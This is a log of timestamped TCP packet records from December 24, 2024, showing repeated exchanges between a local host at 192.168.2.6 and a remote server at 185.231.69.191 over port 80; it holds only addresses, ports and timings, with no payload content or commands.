Dec 24, 2024 14:02:06.321443081 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.321484089 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.322923899 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.322973013 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.323009014 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.323050022 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.324544907 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.324589014 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.324769974 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.324820995 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.326210022 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.326261044 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.326395988 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.326436996 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.327780008 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.327825069 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.413578987 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.413695097 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.413701057 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.413749933 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.414103031 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.414158106 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.414279938 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.414325953 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.414422989 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.414469957 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.415396929 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.415446997 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.415488958 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.415533066 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.416465044 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.416513920 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.416553020 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.416599035 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.417645931 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.417701960 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.417758942 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.417802095 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.418664932 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.418706894 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.418749094 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.418792963 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.419733047 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.419775009 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.419862032 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.419928074 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.420845032 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.420892000 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.421025991 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.421067953 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.421948910 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.421998024 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.422043085 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.422086954 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.422996044 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.423039913 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.423131943 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.423177958 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.424139023 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.424190044 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.424218893 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.424258947 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.425321102 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.425365925 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.425448895 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.425489902 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.426400900 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.426445007 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.426476002 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.426517963 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.427398920 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.427448988 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.427496910 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.427539110 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.428430080 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.428476095 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.428575993 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.428622007 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.429582119 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.429625034 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.429800987 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.429847002 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.430804968 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.430852890 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.430922985 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.430967093 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.431771994 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.431823015 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.431910992 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.431956053 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.432761908 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.432805061 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.432965994 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.433007956 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.433835030 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.433882952 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.433942080 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.433990002 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.434736013 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.434791088 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.434844017 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.434886932 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.435755968 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.435772896 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.435803890 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.435821056 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.436779976 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.436832905 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.436913013 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.436954975 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.437764883 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.437807083 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.437872887 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.437920094 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.438795090 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.438843012 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.438875914 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.438918114 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.439802885 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.439851046 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.439889908 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.439933062 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.440754890 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.440804958 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.440831900 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.440871954 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.441847086 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.441904068 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.441937923 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.441982031 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.442749023 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.442801952 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.442903042 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.442948103 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.443731070 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.443773985 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.443994999 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.444039106 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.444819927 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.444866896 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.445027113 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.445070982 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.445805073 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.445849895 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.445852995 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.445894957 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.446691990 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.446738005 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.446768045 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.446810961 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.491147041 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.491189003 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.491239071 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.491255999 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.491602898 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.491651058 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.491699934 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.491741896 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.492579937 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.492625952 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.492690086 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.492733002 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.493551016 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.493602991 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.493633032 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.493674040 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.494503975 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.494554996 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.495130062 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.495173931 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.495399952 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.495443106 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.495467901 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.495508909 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.496323109 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.496366024 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.496381998 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.496422052 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.497307062 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.497359037 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.497428894 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.497474909 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.498253107 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.498296976 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.498398066 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.498445034 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.499233007 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.499281883 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.499330044 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.499377966 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.500149965 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.500201941 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.500266075 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.500317097 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.501110077 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.501159906 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.501231909 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.501279116 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.502080917 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.502131939 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.502171040 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.502218962 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.502990007 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.503036022 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.503165007 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.503221035 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.503961086 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.504020929 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.504084110 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.504131079 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.504899979 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.504942894 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.505076885 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.505122900 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.505845070 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.505892038 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.505948067 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.505990982 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.506828070 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.506877899 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.506959915 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.507002115 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.507735014 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.507780075 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.507838964 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.507879972 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.508725882 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.508785009 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.508852005 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.508900881 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.605829000 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.605921030 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.606004953 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.606050968 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.606287956 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.606329918 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.606501102 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.606543064 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.607163906 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.607207060 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.607240915 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.607283115 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.608144999 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.608189106 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.608280897 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.608325005 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.609189987 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.609241009 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.609275103 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.609317064 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.610063076 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.610111952 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.610133886 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.610177040 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.611008883 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.611063957 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.611093044 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.611134052 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.611920118 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.611974001 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.612124920 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.612175941 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.612885952 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.612951994 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.613054037 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.613110065 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.613801003 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.613866091 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.613868952 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.613924026 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.614950895 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.615000963 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.615044117 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.615092993 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.615732908 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.615789890 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.615794897 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.615839005 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.616694927 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.616746902 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.616815090 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.616858959 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.617603064 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.617651939 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.617695093 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.617736101 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.618546009 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.618655920 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.618688107 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.618777037 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.619513988 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.619564056 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.619606972 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.619645119 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.620441914 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.620493889 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.620520115 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.620568037 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.621390104 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.621468067 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.621493101 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.621534109 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.622333050 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.622386932 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.622416973 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.622463942 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.623373032 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.623424053 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.623460054 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.623508930 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.624377012 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.624397993 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.624428034 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.624443054 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.625288963 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.625338078 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.625338078 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.625377893 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.626174927 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.626224995 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.626312017 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.626354933 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.627137899 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.627188921 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.627224922 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.627264977 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.628057003 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.628083944 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.628107071 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.628122091 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.629000902 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.629039049 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.629182100 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.629221916 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.629975080 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.630019903 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.630088091 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.630127907 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.630907059 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.630950928 CET	49709	80	192.168.2.6	185.231.69.191
